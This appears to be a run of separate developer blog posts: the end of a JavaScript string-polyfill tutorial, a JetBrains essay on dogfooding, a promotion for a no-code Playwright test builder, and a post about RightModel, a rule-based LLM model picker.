When you write a polyfill, you are essentially stepping into the shoes of the JavaScript engine. You learn to handle edge cases: what happens if the argument is a RegExp? What if the count is Infinity? How does case-sensitivity work? This depth of understanding makes you a safer and more precise developer.

In an interview, if you can not only use includes but also explain how it might be implemented and then code it up on a whiteboard, you demonstrate a fundamental command of the language that many candidates lack. It shows you don’t just memorize methods; you understand principles.

Moreover, knowing the internal logic helps you debug mysterious bugs. For instance, understanding that trim removes a specific set of whitespace characters, not just spaces, prevents unexpected failures when dealing with user input.

Visualizing string processing flow

I often picture a string method as a loop with a pointer scanning across the characters. For includes, imagine a sliding window. You have the main string, and you slide the search string along it, checking each position until you find a match or reach the end.

For startsWith, you only look at the very beginning, like checking the first few letters of a book title to see if it matches a given prefix. For endsWith, you look at the last letters, moving your attention to the tail of the string.

For something like repeat, it’s like a factory that takes a template and stamps out copies, joining them one after another. For trim, you walk in from both edges, trimming away whitespace until you hit a visible character, then capture the inner part.

This mental imagery makes writing polyfills much easier because you translate the visual into code.

Visulalization

Conclusion

Today we’ve gone beyond just using string methods and dug into the logic that powers them. We built polyfills for includes, startsWith, endsWith, repeat, and trim, seeing how simple loops and conditionals can replicate browser-native behavior. We also solved common interview string problems to reinforce the thinking pattern.

Let’s summarize the key takeaways:

  • String methods are built-in tools that manipulate strings, but they are all based on fundamental operations like looping, comparison, and slicing.
  • Polyfills are implementations of modern methods that enable them in older environments, and writing them deepens your understanding of JavaScript.
  • We created step-by-step polyfills for includes, startsWith, endsWith, repeat, and trim, each with a clear logic.
  • Interview problems like reversing a string, checking palindromes, counting occurrences, and capitalizing words rely on the same foundational skills.
  • Truly comprehending built-in behavior prepares you for technical interviews and makes you a more effective developer.

The next time you use a string method, you’ll know exactly what’s happening behind the scenes, and you’ll be ready to tackle any string-related challenge that comes your way.

Hope you found this helpful! If you spot any mistakes or have suggestions, let me know. You can find me on LinkedIn and X, where I post more about web development.

What is dogfooding? How JetBrains builds better developer tools

Dogfooding in software development means using your own products to build, test, and improve them. At JetBrains, it’s a core part of how we create developer tools like IntelliJ IDEA, YouTrack, and Rider.

We don’t rely on assumptions or abstract user personas. We use our tools every day in real workflows, which keeps us close to the problems developers actually face.

Our CEO, Kirill Skyrgan, puts it:

“You can only build truly great software if you use it yourself. Every feature and every decision comes from firsthand experience.”

What is dogfooding in software development?

Dogfooding — short for “eating your own dog food” — means putting your product through the same real-world use as your customers.

Our engineers, designers, product managers, and even technical writers build their daily workflows around JetBrains tools. We write code in  IntelliJ IDEA and track issues and internal project statuses in YouTrack.

It’s not about internal compliance – no one forces anyone to use a product. It’s about trust. We use our tools because they help us do our jobs better, and when they don’t, we fix them.

This direct connection between building and using keeps us grounded. We don’t chase trends or design for hypothetical users. If something slows us down, we know it likely affects thousands of developers too

Benefits of dogfooding: Faster feedback and better software

Dogfooding gives us what every product company dreams of: immediate, unfiltered feedback.

Instead of waiting weeks for customer reports, our developers spot issues as they code.
When a feature feels unintuitive or a shortcut doesn’t work as expected, the fix often starts that same day or even the same hour.

This tight feedback loop turns every JetBrainer into a quality advocate. It shortens the distance between problem and solution, helping us catch things long before they ever reach users.It also fosters empathy. Using the tools ourselves means we understand not only what users say, but what they experience. We feel the slowdowns, the friction points, and the “why is this like that?” moments – and we care enough to address them.

“Those thousands of tiny corrections made over time are what turn a good product into a great one,” Kirill shared. “They come from people who use the tool every day and want it to be better, not for KPIs, but because they genuinely care.”

Examples of dogfooding at JetBrains

Dogfooding shapes every JetBrains product, often long before release.

Rider: From unstable to production-ready

One of the best examples of dogfooding in action is Rider, our .NET IDE. Back in 2016, when it was still unstable and full of rough edges, JetBrains developers began using it for their work long before it was officially released. Some days, you couldn’t even type because the editor would crash. But instead of giving up, teams fixed the issues they encountered on the spot.

That perseverance turned Rider from an experiment into a world-class IDE. The same principle has shaped countless JetBrains products since.

YouTrack: Built and managed in itself

Another case is the YouTrack team, who use their own issue tracker to manage every internal project and improvement flows for the product itself. That constant internal use surfaces edge cases and drives continuous refinement.

Junie: Shaped before users ever saw it

Junie, one of our newer tools, was used internally months before its closed beta.

The team started using Junie internally in December 2024, even before it reached closed Beta. From the very beginning, internal feedback played a major role in shaping how the product evolved. Team members quickly identified things that didn’t feel quite right, from small interface quirks to moments where Junie didn’t respond as expected. This early insight helped the team refine the experience long before anyone outside JetBrains ever saw it.

One particularly important piece of feedback was that Junie didn’t explain enough about what it was doing. That lack of clarity made some interactions feel confusing. Because the team experienced this themselves, they were able to rethink the product’s communication early on and make it more transparent and helpful.

Another area that benefited enormously from dogfooding was Junie’s connection with different work environments used throughout the company. JetBrainers rely on a wide variety of setups in their daily work, and using Junie across these revealed many edge cases the team wouldn’t have spotted otherwise. Each of these discoveries turned into improvements – hundreds of them.

How dogfooding improves developer experience and ownership

Dogfooding doesn’t just improve products — it changes how teams work. When you use what you build, the distinction between “developer” and “user” disappears. There’s no handoff, no abstraction.

That perspective creates stronger ownership. Decisions have immediate, visible impact. Teams see the results of their work in real time.

Dogfooding AI tools at JetBrains

Our teams use AI-assisted features internally long before release, testing what feels useful, what feels distracting, and what actually improves productivity.

This helps us avoid building AI for the sake of trends. We build it because we need it — and we refine it until it works in real development environments.

Why dogfooding matters for building better software

Dogfooding is how we make sure our tools meet the same high standards our users expect. It keeps us honest, motivated, and connected to the work we do. It’s not always comfortable – finding bugs in your own product rarely is – but it’s the most authentic way we know to build software that truly makes a difference.

This is what has kept JetBrains thriving for over two decades: a culture of doers who build, test, and improve from the inside.

As one of our technical leads put it:

“If I start any new project, the first milestone for it is definitely dogfooding. It’s one of the most important quality gates for the product and a crucial source of high-quality feedback.”

Build what you believe in

Dogfooding isn’t just a process we follow – it’s a fundamental part of how we work. It helps us stay close to our mission, keep improving, and make sure that when developers everywhere open a JetBrains tool, it feels like it was built by someone who truly understands them.

Because it was.

If this way of working resonates with you, if you care about the craft, and prefer solving real problems over just chasing trends — you’ll likely feel at home here. Check out out careers page for open roles!

The smoke tests that never got automated

I’ve been a frontend dev for a few years now, and there’s a pattern I kept seeing across almost every small team I worked with.

New feature ships. Everyone’s happy. Then three days later something completely unrelated breaks and nobody caught it.
Not because the QA testers didn’t know what to test. They did. They had the test cases written, they understood the flows, they knew exactly what needed a smoke test after every deploy.

The problem was always the same: automating that required Playwright or Selenium, and that was “a dev thing”. And the devs were busy shipping the next feature. So the smoke tests stayed manual, got skipped when things got hectic, and eventually everyone just hoped nothing broke between sprints.

I watched this happen enough times that I started building something about it.

What I built

FlowCanvas

Flow Testing is a drag-and-drop builder that lets anyone; QA testers, PMs, whoever does the clicking create and run real Playwright tests without writing code. You connect nodes visually (navigate, click, fill, assert) and it runs against real browsers under the hood.
What’s working today:

  • Visual canvas with nodes for navigate, click, fill, assert
  • Runs on actual Playwright (Chromium, Firefox, Webkit)
  • Trace viewer with screenshots and network logs when something fails
  • API mocking for edge cases
  • AI Agents (Planner, Generator & Healer) still improving

TraceViewer

Why I’m posting this
The product has a paid plan but I’m more interested in finding people who will actually use it and tell me what’s broken, what’s missing, or what doesn’t make sense.

If that’s you, free month on me. Just reach out.
https://flowtesting.io

Token Consumption Anxiety and the Open Source App I Built to Solve It

Thanks to AI, I’ve spent more time architecting and building apps, which means I spend a lot of time looking at frontier models and agonizing over token use. I’ve also been battling a very modern affliction: token consumption anxiety.

It feels modern AI-powered app architecture is asking us slaps an LLM at the front door. You want to dynamically pick the best model for a specific task? Great, the industry standard is to call an expensive, heavy model just to decide if the prompt should go to Claude, Gemini, or a smaller open-source model. We are burning latency and spending tokens at near absurd levels.

I got tired of this cycle. I wanted a model picker with exactly zero models in the request path. So, I fired up Antigravity, let the AI (a trio of Gemini, Codex, and Claude) do the coding while I directed the architecture, and built a tool to solve my own headache.

The result is RightModel. It’s a tool that evaluates your task and recommends the ideal model—but the way it gets there is entirely different. Let’s walk through the architecture.

Handling the request

When you submit a task to RightModel, there are zero LLM calls in the default path. The system evaluates your parameters, computes the ideal model against a pre-existing ruleset, and returns the response instantly.

Here’s an example JSON snippet:

{
  "task_type": "code_generation",
  "recommended_model": "claude-3-5-sonnet",
  "reason": "High complexity context matched; tier 1 code model selected."
}

Everything interesting happens before the request, not during it.

The “intelligence” at runtime

The core of the app is the ruleset. It contains task-type classification rules, model-tier mapping, and tie-breakers.

While I used AI to help author these rules initially, the final artifact is human-reviewable and human-owned. I’m not relying on an LLM to make a black-box runtime decision; I’m executing code.

Solving the staleness problem

The LLM landscape moves fast, so a static ruleset needs to keep up to date. To keep RightModel accurate without making live API calls during a user request, the app pulls fresh pricing data from OpenRouter via a scheduled workflow trigger via Google Cloud Scheduler. This scheduling can be done with another service, depending on the app architecture.

Notice what gets regenerated: the pricing data, not the rule logic. The logic remains a curated, human-authored layer. I also caution the user about this staleness directly with a footer stating exactly when the data was last refreshed, for transparency.

AI as an escalation path

Sometimes, requests don’t fit cleanly into a ruleset. A task might trigger an “ambiguous” or “low confidence” flag.

When this happens, RightModel doesn’t perform a silent fallback or an automatic, expensive upgrade. Instead, the user sees an explicit “Deep Analysis” button. This LLM call is powered by Gemini 2.5 Flash, but I plan to tweak this based on user feedback and technology updates.

Enter: Precomputed AI

Building this app made me realize this architecture isn’t isolated to picking models. A happy accident, really, and I’ve been calling this pattern Precomputed AI.

At its core, Precomputed AI shifts LLM reasoning out of the real-time request path and into an asynchronous build pipeline. It requires three specific properties, all of which power RightModel:

  • A versioned artifact (the ruleset)
  • A regeneration cadence (the pricing cron and visible staleness)
  • A declared escalation path (the Deep Analysis button)

What do you think?

If you’re shipping LLM-powered tools right now, I challenge you to ask yourself: which parts of your reasoning actually need to be live?

You can read more at the Precomputed AI website, and try out the RightModel app. I’d particularly value feedback from people creating AI-powered apps and solutions.